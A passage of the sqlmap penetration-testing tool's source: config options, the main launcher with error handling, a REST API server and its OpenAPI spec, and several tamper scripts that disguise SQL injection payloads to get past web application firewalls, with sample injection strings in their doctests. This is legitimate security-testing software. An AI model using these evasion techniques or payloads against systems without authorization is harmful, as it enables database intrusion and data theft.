forms on target URL. # Valid: True or False forms = False # Ignore query results stored in session file. # Valid: True or False freshQueries = False # Use Google dork results from specified page number. # Valid: integer # Default: 1 googlePage = 1 # Use hex conversion during data retrieval. # Valid: True or False hexConvert = False # Custom output directory path. outputDir = # Parse and display DBMS error messages from responses. # Valid: True or False parseErrors = False # Use given script(s) for preprocessing of request. preprocess = # Use given script(s) for postprocessing of response data. postprocess = # Redump entries having unknown character marker (?). # Valid: True or False repair = False # Regular expression for filtering targets from provided Burp. # or WebScarab proxy log. # Example: (google|yahoo) scope = # Skip heuristic detection of SQLi/XSS vulnerabilities. # Valid: True or False skipHeuristics = False # Skip heuristic detection of WAF/IPS protection. # Valid: True or False skipWaf = False # Prefix used for temporary tables. # Default: sqlmap tablePrefix = sqlmap # Select tests by payloads and/or titles (e.g. ROW). testFilter = # Skip tests by payloads and/or titles (e.g. BENCHMARK). testSkip = # Run with a time limit in seconds (e.g. 3600). timeLimit = # Disable escaping of DBMS identifiers (e.g. "user"). unsafeNaming = False # Web server document root directory (e.g. "/var/www"). webRoot = [Miscellaneous] # Run host OS command(s) when SQL injection is found. alert = # Beep on question and/or when SQL injection is found. # Valid: True or False beep = False # Offline WAF/IPS payload detection testing. # Valid: True or False checkPayload = False # Check for missing (optional) sqlmap dependencies. # Valid: True or False dependencies = False # Disable console output coloring. # Valid: True or False disableColoring = False # Disable hash analysis on table dumps. # Valid: True or False disableHashing = False # Display list of available tamper scripts. # Valid: True or False listTampers = False # Disable logging to a file. # Valid: True or False noLogging = False # Disable console output truncation. # Valid: True or False noTruncate = False # Work in offline mode (only use session data) # Valid: True or False offline = False # Location of CSV results file in multiple targets mode. resultsFile = # Local directory for storing temporary files. tmpDir = # Adjust options for unstable connections. # Valid: True or False unstable = False # Update sqlmap. # Valid: True or False updateAll = False # Simple wizard interface for beginner users. # Valid: True or False wizard = False # Verbosity level. # Valid: integer between 0 and 6 # 0: Show only error and critical messages # 1: Show also warning and info messages # 2: Show also debug messages # 3: Show also payloads injected # 4: Show also HTTP requests # 5: Show also HTTP responses' headers # 6: Show also HTTP responses' page content # Default: 1 verbose = 1 ================================================ FILE: sqlmap.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from __future__ import print_function try: import sys sys.dont_write_bytecode = True try: __import__("lib.utils.versioncheck") # this has to be the first non-standard import except ImportError: sys.exit("[!] wrong installation detected (missing modules). Visit 'https://github.com/sqlmapproject/sqlmap/#installation' for further details") import bdb import glob import inspect import json import logging import os import re import shutil import sys import tempfile import threading import time import traceback import warnings if "--deprecations" not in sys.argv: warnings.filterwarnings(action="ignore", category=DeprecationWarning) else: warnings.resetwarnings() warnings.filterwarnings(action="ignore", message="'crypt'", category=DeprecationWarning) warnings.simplefilter("ignore", category=ImportWarning) if sys.version_info >= (3, 0): warnings.simplefilter("ignore", category=ResourceWarning) warnings.filterwarnings(action="ignore", message="Python 2 is no longer supported") warnings.filterwarnings(action="ignore", message=".*was already imported", category=UserWarning) warnings.filterwarnings(action="ignore", message=".*using a very old release", category=UserWarning) warnings.filterwarnings(action="ignore", message=".*default buffer size will be used", category=RuntimeWarning) warnings.filterwarnings(action="ignore", category=UserWarning, module="psycopg2") from lib.core.data import logger from lib.core.common import banner from lib.core.common import checkPipedInput from lib.core.common import checkSums from lib.core.common import createGithubIssue from lib.core.common import dataToStdout from lib.core.common import extractRegexResult from lib.core.common import filterNone from lib.core.common import getDaysFromLastUpdate from lib.core.common import getFileItems from lib.core.common import getSafeExString from lib.core.common import maskSensitiveData from lib.core.common import openFile from lib.core.common import setPaths from lib.core.common import weAreFrozen from lib.core.convert import getUnicode from lib.core.common import setColor from lib.core.common import unhandledExceptionMessage from lib.core.compat import LooseVersion from lib.core.compat import xrange from lib.core.data import cmdLineOptions from lib.core.data import conf from lib.core.data import kb from lib.core.datatype import OrderedSet from lib.core.enums import MKSTEMP_PREFIX from lib.core.exception import SqlmapBaseException from lib.core.exception import SqlmapShellQuitException from lib.core.exception import SqlmapSilentQuitException from lib.core.exception import SqlmapUserQuitException from lib.core.option import init from lib.core.option import initOptions from lib.core.patch import dirtyPatches from lib.core.patch import resolveCrossReferences from lib.core.settings import GIT_PAGE from lib.core.settings import IS_WIN from lib.core.settings import LAST_UPDATE_NAGGING_DAYS from lib.core.settings import LEGAL_DISCLAIMER from lib.core.settings import THREAD_FINALIZATION_TIMEOUT from lib.core.settings import UNICODE_ENCODING from lib.core.settings import VERSION from lib.parse.cmdline import cmdLineParser from lib.utils.crawler import crawl except KeyboardInterrupt: errMsg = "user aborted" if "logger" in globals(): logger.critical(errMsg) raise SystemExit else: import time sys.exit("\r[%s] [CRITICAL] %s" % (time.strftime("%X"), errMsg)) def modulePath(): """ This will get us the program's directory, even if we are frozen using py2exe """ try: _ = sys.executable if weAreFrozen() else __file__ except NameError: _ = inspect.getsourcefile(modulePath) return getUnicode(os.path.dirname(os.path.realpath(_)), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING) def checkEnvironment(): try: os.path.isdir(modulePath()) except UnicodeEncodeError: errMsg = "your system does not properly handle non-ASCII paths. " errMsg += "Please move the sqlmap's directory to the other location" logger.critical(errMsg) raise SystemExit if LooseVersion(VERSION) < LooseVersion("1.0"): errMsg = "your runtime environment (e.g. PYTHONPATH) is " errMsg += "broken. Please make sure that you are not running " errMsg += "newer versions of sqlmap with runtime scripts for older " errMsg += "versions" logger.critical(errMsg) raise SystemExit # Patch for pip (import) environment if "sqlmap.sqlmap" in sys.modules: for _ in ("cmdLineOptions", "conf", "kb"): globals()[_] = getattr(sys.modules["lib.core.data"], _) for _ in ("SqlmapBaseException", "SqlmapShellQuitException", "SqlmapSilentQuitException", "SqlmapUserQuitException"): globals()[_] = getattr(sys.modules["lib.core.exception"], _) def main(): """ Main function of sqlmap when running from command line. """ try: dirtyPatches() resolveCrossReferences() checkEnvironment() setPaths(modulePath()) banner() # Store original command line options for possible later restoration args = cmdLineParser() cmdLineOptions.update(args.__dict__ if hasattr(args, "__dict__") else args) initOptions(cmdLineOptions) if checkPipedInput(): conf.batch = True if conf.get("api"): # heavy imports from lib.utils.api import StdDbOut from lib.utils.api import setRestAPILog # Overwrite system standard output and standard error to write # to an IPC database sys.stdout = StdDbOut(conf.taskid, messagetype="stdout") sys.stderr = StdDbOut(conf.taskid, messagetype="stderr") setRestAPILog() conf.showTime = True dataToStdout("[!] legal disclaimer: %s\n\n" % LEGAL_DISCLAIMER, forceOutput=True) dataToStdout("[*] starting @ %s\n\n" % time.strftime("%X /%Y-%m-%d/"), forceOutput=True) init() if not conf.updateAll: # Postponed imports (faster start) if conf.smokeTest: from lib.core.testing import smokeTest os._exitcode = 1 - (smokeTest() or 0) elif conf.vulnTest: from lib.core.testing import vulnTest os._exitcode = 1 - (vulnTest() or 0) else: from lib.controller.controller import start if conf.profile: from lib.core.profiling import profile globals()["start"] = start profile() else: try: if conf.crawlDepth and conf.bulkFile: targets = getFileItems(conf.bulkFile) for i in xrange(len(targets)): target = None try: kb.targets = OrderedSet() target = targets[i] if not re.search(r"(?i)\Ahttp[s]*://", target): target = "https://%s" % target infoMsg = "starting crawler for target URL '%s' (%d/%d)" % (target, i + 1, len(targets)) logger.info(infoMsg) crawl(target) except Exception as ex: if target and not isinstance(ex, SqlmapUserQuitException): errMsg = "problem occurred while crawling '%s' ('%s')" % (target, getSafeExString(ex)) logger.error(errMsg) else: raise else: if kb.targets: start() else: start() except Exception as ex: os._exitcode = 1 if "can't start new thread" in getSafeExString(ex): errMsg = "unable to start new threads. Please check OS (u)limits" logger.critical(errMsg) raise SystemExit else: raise except SqlmapUserQuitException: if not conf.batch: errMsg = "user quit" logger.error(errMsg) except (SqlmapSilentQuitException, bdb.BdbQuit): pass except SqlmapShellQuitException: cmdLineOptions.sqlmapShell = False except SqlmapBaseException as ex: errMsg = getSafeExString(ex) logger.critical(errMsg) os._exitcode = 1 raise SystemExit except KeyboardInterrupt: try: print() except IOError: pass except EOFError: print() errMsg = "exit" logger.error(errMsg) except SystemExit as ex: os._exitcode = ex.code or 0 except: print() errMsg = unhandledExceptionMessage() excMsg = traceback.format_exc() valid = checkSums() os._exitcode = 255 if any(_ in excMsg for _ in ("MemoryError", "Cannot allocate memory")): errMsg = "memory exhaustion detected" logger.critical(errMsg) raise SystemExit elif any(_ in excMsg for _ in ("No space left", "Disk quota exceeded", "Disk full while accessing")): errMsg = "no space left on output device" logger.critical(errMsg) raise SystemExit elif any(_ in excMsg for _ in ("The paging file is too small",)): errMsg = "no space left for paging file" logger.critical(errMsg) raise SystemExit elif all(_ in excMsg for _ in ("Access is denied", "subprocess", "metasploit")): errMsg = "permission error occurred while running Metasploit" logger.critical(errMsg) raise SystemExit elif all(_ in excMsg for _ in ("Permission denied", "metasploit")): errMsg = "permission error occurred while using Metasploit" logger.critical(errMsg) raise SystemExit elif "Read-only file system" in excMsg: errMsg = "output device is mounted as read-only" logger.critical(errMsg) raise SystemExit elif "Insufficient system resources" in excMsg: errMsg = "resource exhaustion detected" logger.critical(errMsg) raise SystemExit elif "OperationalError: disk I/O error" in excMsg: errMsg = "I/O error on output device" logger.critical(errMsg) raise SystemExit elif "Violation of BIDI" in excMsg: errMsg = "invalid URL (violation of Bidi IDNA rule - RFC 5893)" logger.critical(errMsg) raise SystemExit elif "Invalid IPv6 URL" in excMsg: errMsg = "invalid URL ('%s')" % excMsg.strip().split('\n')[-1] logger.critical(errMsg) raise SystemExit elif "_mkstemp_inner" in excMsg: errMsg = "there has been a problem while accessing temporary files" logger.critical(errMsg) raise SystemExit elif any(_ in excMsg for _ in ("tempfile.mkdtemp", "tempfile.mkstemp", "tempfile.py")): errMsg = "unable to write to the temporary directory '%s'. " % tempfile.gettempdir() errMsg += "Please make sure that your disk is not full and " errMsg += "that you have sufficient write permissions to " errMsg += "create temporary files and/or directories" logger.critical(errMsg) raise SystemExit elif "Permission denied: '" in excMsg: match = re.search(r"Permission denied: '([^']*)", excMsg) errMsg = "permission error occurred while accessing file '%s'" % match.group(1) logger.critical(errMsg) raise SystemExit elif all(_ in excMsg for _ in ("twophase", "sqlalchemy")): errMsg = "please update the 'sqlalchemy' package (>= 1.1.11) " errMsg += "(Reference: 'https://qiita.com/tkprof/items/7d7b2d00df9c5f16fffe')" logger.critical(errMsg) raise SystemExit elif all(_ in excMsg for _ in ("httpcore", "typing.", "AttributeError")): errMsg = "please update the 'httpcore' package (>= 1.0.8) " errMsg += "(Reference: 'https://github.com/encode/httpcore/discussions/995')" logger.critical(errMsg) raise SystemExit elif "invalid maximum character passed to PyUnicode_New" in excMsg and re.search(r"\A3\.[34]", sys.version) is not None: errMsg = "please upgrade the Python version (>= 3.5) " errMsg += "(Reference: 'https://bugs.python.org/issue18183')" logger.critical(errMsg) raise SystemExit elif all(_ in excMsg for _ in ("scramble_caching_sha2", "TypeError")): errMsg = "please downgrade the 'PyMySQL' package (=< 0.8.1) " errMsg += "(Reference: 'https://github.com/PyMySQL/PyMySQL/issues/700')" logger.critical(errMsg) raise SystemExit elif "must be pinned buffer, not bytearray" in excMsg: errMsg = "error occurred at Python interpreter which " errMsg += "is fixed in 2.7. Please update accordingly " errMsg += "(Reference: 'https://bugs.python.org/issue8104')" logger.critical(errMsg) raise SystemExit elif all(_ in excMsg for _ in ("OSError: [Errno 22] Invalid argument: '", "importlib")): errMsg = "unable to read file '%s'" % extractRegexResult(r"OSError: \[Errno 22\] Invalid argument: '(?P<result>[^']+)", excMsg) logger.critical(errMsg) raise SystemExit elif "hash_randomization" in excMsg: errMsg = "error occurred at Python interpreter which " errMsg += "is fixed in 2.7.3. Please update accordingly " errMsg += "(Reference: 'https://docs.python.org/2/library/sys.html')" logger.critical(errMsg) raise SystemExit elif "AttributeError:" in excMsg and re.search(r"3\.11\.\d+a", sys.version): errMsg = "there is a known issue when sqlmap is run with ALPHA versions of Python 3.11. " errMsg += "Please download a stable Python version" logger.critical(errMsg) raise SystemExit elif all(_ in excMsg for _ in ("Resource temporarily unavailable", "os.fork()", "dictionaryAttack")): errMsg = "there has been a problem while running the multiprocessing hash cracking. " errMsg += "Please rerun with option '--threads=1'" logger.critical(errMsg) raise SystemExit elif "can't start new thread" in excMsg: errMsg = "there has been a problem while creating new thread instance. " errMsg += "Please make sure that you are not running too many processes" if not IS_WIN: errMsg += " (or increase the 'ulimit -u' value)" logger.critical(errMsg) raise SystemExit elif "can't allocate read lock" in excMsg: errMsg = "there has been a problem in regular socket operation " errMsg += "('%s')" % excMsg.strip().split('\n')[-1] logger.critical(errMsg) raise SystemExit elif all(_ in excMsg for _ in ("pymysql", "configparser")): errMsg = "wrong initialization of 'pymsql' detected (using Python3 dependencies)" logger.critical(errMsg) raise SystemExit elif all(_ in excMsg for _ in ("ntlm", "socket.error, err", "SyntaxError")): errMsg = "wrong initialization of 'python-ntlm' detected (using Python2 syntax)" logger.critical(errMsg) raise SystemExit elif all(_ in excMsg for _ in ("drda", "to_bytes")): errMsg = "wrong initialization of 'drda' detected (using Python3 syntax)" logger.critical(errMsg) raise SystemExit elif "'WebSocket' object has no attribute 'status'" in excMsg: errMsg = "wrong websocket library detected" errMsg += " (Reference: 'https://github.com/sqlmapproject/sqlmap/issues/4572#issuecomment-775041086')" logger.critical(errMsg) raise SystemExit elif all(_ in excMsg for _ in ("window = tkinter.Tk()",)): errMsg = "there has been a problem in initialization of GUI interface " errMsg += "('%s')" % excMsg.strip().split('\n')[-1] logger.critical(errMsg) raise SystemExit elif any(_ in excMsg for _ in ("unable to access item 'liveTest'",)): errMsg = "detected usage of files from different versions of sqlmap" logger.critical(errMsg) raise SystemExit elif any(_ in errMsg for _ in (": 9.9.9#",)): errMsg = "LOL xD" logger.critical(errMsg) raise SystemExit elif kb.get("dumpKeyboardInterrupt"): raise SystemExit elif any(_ in excMsg for _ in ("Broken pipe", "KeyboardInterrupt")): raise SystemExit elif valid is False: errMsg = "code checksum failed (turning off automatic issue creation). " errMsg += "You should retrieve the latest development version from official GitHub " errMsg += "repository at '%s'" % GIT_PAGE logger.critical(errMsg) print() dataToStdout(excMsg) raise SystemExit elif any(_ in "%s\n%s" % (errMsg, excMsg) for _ in ("tamper/", "waf/", "--engagement-dojo")): logger.critical(errMsg) print() dataToStdout(excMsg) raise SystemExit elif any(_ in excMsg for _ in ("ImportError", "ModuleNotFoundError", "<frozen", "Can't find file for module", "SAXReaderNotAvailable", "<built-in function compile> returned NULL without setting an exception", "source code string cannot contain null bytes", "No module named", "tp_name field", "module 'sqlite3' has no attribute 'OperationalError'")): errMsg = "invalid runtime environment ('%s')" % excMsg.split("Error: ")[-1].strip() logger.critical(errMsg) raise SystemExit elif all(_ in excMsg for _ in ("SyntaxError: Non-ASCII character", ".py on line", "but no encoding declared")): errMsg = "invalid runtime environment ('%s')" % excMsg.split("Error: ")[-1].strip() logger.critical(errMsg) raise SystemExit elif all(_ in excMsg for _ in ("FileNotFoundError: [Errno 2] No such file or directory", "cwd = os.getcwd()")): errMsg = "invalid runtime environment ('%s')" % excMsg.split("Error: ")[-1].strip() logger.critical(errMsg) raise SystemExit elif all(_ in excMsg for _ in ("PermissionError: [WinError 5]", "multiprocessing")): errMsg = "there is a permission problem in running multiprocessing on this system. " errMsg += "Please rerun with '--disable-multi'" logger.critical(errMsg) raise SystemExit elif all(_ in excMsg for _ in ("No such file", "_'")): errMsg = "corrupted installation detected ('%s'). " % excMsg.strip().split('\n')[-1] errMsg += "You should retrieve the latest development version from official GitHub " errMsg += "repository at '%s'" % GIT_PAGE logger.critical(errMsg) raise SystemExit elif all(_ in excMsg for _ in ("No such file", "sqlmap.conf", "Test")): errMsg = "you are trying to run (hidden) development tests inside the production environment" logger.critical(errMsg) raise SystemExit elif all(_ in excMsg for _ in ("HTTPNtlmAuthHandler", "'str' object has no attribute 'decode'")): errMsg = "package 'python-ntlm' has a known compatibility issue with the " errMsg += "Python 3 (Reference: 'https://github.com/mullender/python-ntlm/pull/61')" logger.critical(errMsg) raise SystemExit elif "'DictObject' object has no attribute '" in excMsg and all(_ in errMsg for _ in ("(fingerprinted)", "(identified)")): errMsg = "there has been a problem in enumeration. " errMsg += "Because of a considerable chance of false-positive case " errMsg += "you are advised to rerun with switch '--flush-session'" logger.critical(errMsg) raise SystemExit elif "database disk image is malformed" in excMsg: errMsg = "local session file seems to be malformed. Please rerun with '--flush-session'" logger.critical(errMsg) raise SystemExit elif "'cryptography' package is required" in excMsg: errMsg = "third-party library 'cryptography' is required" logger.critical(errMsg) raise SystemExit elif "AttributeError: 'module' object has no attribute 'F_GETFD'" in excMsg: errMsg = "invalid runtime (\"%s\") " % excMsg.split("Error: ")[-1].strip() errMsg += "(Reference: 'https://stackoverflow.com/a/38841364' & 'https://bugs.python.org/issue24944#msg249231')" logger.critical(errMsg) raise SystemExit elif "bad marshal data (unknown type code)" in excMsg: match = re.search(r"\s*(.+)\s+ValueError", excMsg) errMsg = "one of your .pyc files are corrupted%s" % (" ('%s')" % match.group(1) if match else "") errMsg += ". Please delete .pyc files on your system to fix the problem" logger.critical(errMsg) raise SystemExit for match in re.finditer(r'File "(.+?)", line', excMsg): file_ = match.group(1) try: file_ = os.path.relpath(file_, os.path.dirname(__file__)) except ValueError: pass file_ = file_.replace("\\", '/') if "../" in file_: file_ = re.sub(r"(\.\./)+", '/', file_) else: file_ = file_.lstrip('/') file_ = re.sub(r"/{2,}", '/', file_) excMsg = excMsg.replace(match.group(1), file_) errMsg = maskSensitiveData(errMsg) excMsg = maskSensitiveData(excMsg) if conf.get("api") or not valid or kb.get("lastCtrlCTime"): logger.critical("%s\n%s" % (errMsg, excMsg)) else: logger.critical(errMsg) dataToStdout("%s\n" % setColor(excMsg.strip(), level=logging.CRITICAL)) createGithubIssue(errMsg, excMsg) finally: kb.threadContinue = False if (getDaysFromLastUpdate() or 0) > LAST_UPDATE_NAGGING_DAYS: warnMsg = "your sqlmap version is outdated" logger.warning(warnMsg) if conf.get("showTime"): dataToStdout("\n[*] ending @ %s\n\n" % time.strftime("%X /%Y-%m-%d/"), forceOutput=True) kb.threadException = True for tempDir in conf.get("tempDirs", []): for prefix in (MKSTEMP_PREFIX.IPC, MKSTEMP_PREFIX.TESTING, MKSTEMP_PREFIX.COOKIE_JAR, MKSTEMP_PREFIX.BIG_ARRAY): for filepath in glob.glob(os.path.join(tempDir, "%s*" % prefix)): try: os.remove(filepath) except OSError: pass if any((conf.vulnTest, conf.smokeTest)) or not filterNone(filepath for filepath in glob.glob(os.path.join(tempDir, '*')) if not any(filepath.endswith(_) for _ in (".lock", ".exe", ".so", '_'))): # ignore junk files try: shutil.rmtree(tempDir, ignore_errors=True) except OSError: pass if conf.get("hashDB"): conf.hashDB.flush() conf.hashDB.close() # NOTE: because of PyPy if conf.get("harFile"): try: with openFile(conf.harFile, "w+") as f: json.dump(conf.httpCollector.obtain(), fp=f, indent=4, separators=(',', ': ')) except SqlmapBaseException as ex: errMsg = getSafeExString(ex) logger.critical(errMsg) if conf.get("api"): conf.databaseCursor.disconnect() if conf.get("dumper"): conf.dumper.flush() # short delay for thread finalization _ = time.time() while threading.active_count() > 1 and (time.time() - _) < THREAD_FINALIZATION_TIMEOUT: time.sleep(0.01) if cmdLineOptions.get("sqlmapShell"): cmdLineOptions.clear() conf.clear() kb.clear() conf.disableBanner = True main() if __name__ == "__main__": try: main() except KeyboardInterrupt: pass except SystemExit: raise except: traceback.print_exc() finally: # Reference: http://stackoverflow.com/questions/1635080/terminate-a-multi-thread-python-program if threading.active_count() > 1: os._exit(getattr(os, "_exitcode", 0)) else: sys.exit(getattr(os, "_exitcode", 0)) else: # cancelling postponed imports (because of CI/CD checks) __import__("lib.controller.controller") ================================================ FILE: sqlmapapi.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import sys sys.dont_write_bytecode = True __import__("lib.utils.versioncheck") # this has to be the first non-standard import import logging import os import warnings warnings.filterwarnings(action="ignore", category=UserWarning) warnings.filterwarnings(action="ignore", category=DeprecationWarning) try: from optparse import OptionGroup from optparse import OptionParser as ArgumentParser ArgumentParser.add_argument = ArgumentParser.add_option def _add_argument(self, *args, **kwargs): return self.add_option(*args, **kwargs) OptionGroup.add_argument = _add_argument except ImportError: from argparse import ArgumentParser finally: def get_actions(instance): for attr in ("option_list", "_group_actions", "_actions"): if hasattr(instance, attr): return getattr(instance, attr) def get_groups(parser): return getattr(parser, "option_groups", None) or getattr(parser, "_action_groups") def get_all_options(parser): retVal = set() for option in get_actions(parser): if hasattr(option, "option_strings"): retVal.update(option.option_strings) else: retVal.update(option._long_opts) retVal.update(option._short_opts) for group in get_groups(parser): for option in get_actions(group): if hasattr(option, "option_strings"): retVal.update(option.option_strings) else: retVal.update(option._long_opts) retVal.update(option._short_opts) return retVal from lib.core.common import getUnicode from lib.core.common import setPaths from lib.core.data import logger from lib.core.patch import dirtyPatches from lib.core.patch import resolveCrossReferences from lib.core.settings import RESTAPI_DEFAULT_ADAPTER from lib.core.settings import RESTAPI_DEFAULT_ADDRESS from lib.core.settings import RESTAPI_DEFAULT_PORT from lib.core.settings import UNICODE_ENCODING from lib.utils.api import client from lib.utils.api import server try: from sqlmap import modulePath except ImportError: def modulePath(): return getUnicode(os.path.dirname(os.path.realpath(__file__)), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING) def main(): """ REST-JSON API main function """ dirtyPatches() resolveCrossReferences() # Set default logging level to debug logger.setLevel(logging.DEBUG) # Initialize paths setPaths(modulePath()) # Parse command line options apiparser = ArgumentParser() apiparser.add_argument("-s", "--server", help="Run as a REST-JSON API server", action="store_true") apiparser.add_argument("-c", "--client", help="Run as a REST-JSON API client", action="store_true") apiparser.add_argument("-H", "--host", help="Host of the REST-JSON API server (default \"%s\")" % RESTAPI_DEFAULT_ADDRESS, default=RESTAPI_DEFAULT_ADDRESS) apiparser.add_argument("-p", "--port", help="Port of the REST-JSON API server (default %d)" % RESTAPI_DEFAULT_PORT, default=RESTAPI_DEFAULT_PORT, type=int) apiparser.add_argument("--adapter", help="Server (bottle) adapter to use (default \"%s\")" % RESTAPI_DEFAULT_ADAPTER, default=RESTAPI_DEFAULT_ADAPTER) apiparser.add_argument("--database", help="Set IPC database filepath (optional)") apiparser.add_argument("--username", help="Basic authentication username (optional)") apiparser.add_argument("--password", help="Basic authentication password (optional)") (args, _) = apiparser.parse_known_args() if hasattr(apiparser, "parse_known_args") else apiparser.parse_args() # Start the client or the server if args.server: server(args.host, args.port, adapter=args.adapter, username=args.username, password=args.password, database=args.database) elif args.client: client(args.host, args.port, username=args.username, password=args.password) else: apiparser.print_help() if __name__ == "__main__": main() ================================================ FILE: sqlmapapi.yaml ================================================ openapi: 3.0.1 info: title: sqlmapapi OpenAPI/Swagger specification version: '0.1' paths: /version: get: description: Fetch server version responses: '200': description: OK content: application/json: schema: type: object properties: version: type: string example: "1.5.7.7#dev" success: type: boolean example: true /task/new: get: description: Create a new task responses: '200': description: OK content: application/json: schema: type: object properties: taskid: type: string example: "fad44d6beef72285" success: type: boolean example: true /task/{taskid}/delete: get: description: Delete an existing task parameters: - in: path name: taskid required: true schema: type: string description: Scan task ID responses: '200': description: OK content: application/json: schema: type: object properties: success: type: boolean example: true /option/{taskid}/list: get: description: List options for a given task ID parameters: - in: path name: taskid required: true schema: type: string description: Scan task ID responses: '200': description: OK content: application/json: schema: type: object properties: success: type: boolean example: true options: type: array items: type: object /option/{taskid}/get: post: description: Get value of option(s) for a certain task ID parameters: - in: path name: taskid required: true schema: type: string requestBody: content: application/json: schema: type: array items: type: string example: ["url", "cookie"] responses: '200': description: OK content: application/json: schema: type: object properties: success: type: boolean options: type: object /option/{taskid}/set: post: description: Set value of option(s) for a certain task ID parameters: - in: path name: taskid required: true schema: type: string requestBody: content: application/json: schema: type: object example: {"cookie": "id=1"} responses: '200': description: OK content: application/json: schema: type: object properties: success: type: boolean /scan/{taskid}/start: post: description: Launch a scan parameters: - in: path name: taskid required: true schema: type: string description: Scan task ID requestBody: content: application/json: schema: type: object properties: url: type: string examples: '0': value: '{"url":"http://testphp.vulnweb.com/artists.php?artist=1"}' responses: '200': description: OK content: application/json: schema: type: object properties: engineid: type: integer example: 19720 success: type: boolean example: true /scan/{taskid}/stop: get: description: Stop a scan parameters: - in: path name: taskid required: true schema: type: string description: Scan task ID responses: '200': description: OK content: application/json: schema: type: object properties: success: type: boolean example: true /scan/{taskid}/status: get: description: Fetch status of a scan parameters: - in: path name: taskid required: true schema: type: string description: Scan task ID responses: '200': description: OK content: application/json: schema: type: object properties: status: type: string example: terminated returncode: type: integer example: 0 success: type: boolean example: true /scan/{taskid}/data: get: description: Retrieve the scan resulting data parameters: - in: path name: taskid required: true schema: type: string description: Scan task ID responses: '200': description: OK content: application/json: schema: type: object properties: data: type: array items: type: object success: type: boolean example: true error: type: array items: type: object /scan/{taskid}/log: get: description: Retrieve the log messages parameters: - in: path name: taskid required: true schema: type: string description: Scan task ID responses: '200': description: OK content: application/json: schema: type: object properties: log: type: array items: type: object success: type: boolean example: true /scan/{taskid}/kill: get: description: Kill a scan parameters: - in: path name: taskid required: true schema: type: string description: Scan task ID responses: '200': description: OK content: application/json: schema: type: object properties: success: type: boolean example: true ================================================ FILE: tamper/0eunion.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies(): pass def tamper(payload, **kwargs): """ Replaces an integer followed by UNION with an integer followed by e0UNION Requirement: * MySQL * MsSQL Notes: * Reference: https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf >>> tamper('1 UNION ALL SELECT') '1e0UNION ALL SELECT' """ return re.sub(r"(?i)(\d+)\s+(UNION )", r"\g<1>e0\g<2>", payload) if payload else payload ================================================ FILE: tamper/__init__.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ pass ================================================ FILE: tamper/apostrophemask.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOWEST def dependencies(): pass def tamper(payload, **kwargs): """ Replaces single quotes (') with their UTF-8 full-width equivalents (e.g. ' -> %EF%BC%87) References: * http://www.utf8-chartable.de/unicode-utf8-table.pl?start=65280&number=128 * https://web.archive.org/web/20130614183121/http://lukasz.pilorz.net/testy/unicode_conversion/ * https://web.archive.org/web/20131121094431/sla.ckers.org/forum/read.php?13,11562,11850 * https://web.archive.org/web/20070624194958/http://lukasz.pilorz.net/testy/full_width_utf/index.phps >>> tamper("1 AND '1'='1") '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871' """ return payload.replace('\'', "%EF%BC%87") if payload else payload ================================================ FILE: tamper/apostrophenullencode.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOWEST def dependencies(): pass def tamper(payload, **kwargs): """ Replaces single quotes (') with an illegal double Unicode encoding (e.g. ' -> %00%27) >>> tamper("1 AND '1'='1") '1 AND %00%271%00%27=%00%271' """ return payload.replace('\'', "%00%27") if payload else payload ================================================ FILE: tamper/appendnullbyte.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import os from lib.core.common import singleTimeWarnMessage from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOWEST def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.ACCESS)) def tamper(payload, **kwargs): """ Appends an (Access) NULL byte character (%00) at the end of payload Requirement: * Microsoft Access Notes: * Useful to bypass weak web application firewalls when the back-end database management system is Microsoft Access - further uses are also possible Reference: http://projects.webappsec.org/w/page/13246949/Null-Byte-Injection >>> tamper('1 AND 1=1') '1 AND 1=1%00' """ return "%s%%00" % payload if payload else payload ================================================ FILE: tamper/base64encode.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.convert import encodeBase64 from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): """ Encodes the entire payload using Base64 >>> tamper("1' AND SLEEP(5)#") 'MScgQU5EIFNMRUVQKDUpIw==' """ return encodeBase64(payload, binary=False) if payload else payload ================================================ FILE: tamper/between.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies(): pass def tamper(payload, **kwargs): """ Replaces the greater-than operator (>) with NOT BETWEEN 0 AND # and the equal sign (=) with BETWEEN # AND # Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass weak and bespoke web application firewalls that filter the greater than character * The BETWEEN clause is SQL standard. Hence, this tamper script should work against all (?) databases >>> tamper('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--' >>> tamper('1 AND A = B--') '1 AND A BETWEEN B AND B--' >>> tamper('1 AND LAST_INSERT_ROWID()=LAST_INSERT_ROWID()') '1 AND LAST_INSERT_ROWID() BETWEEN 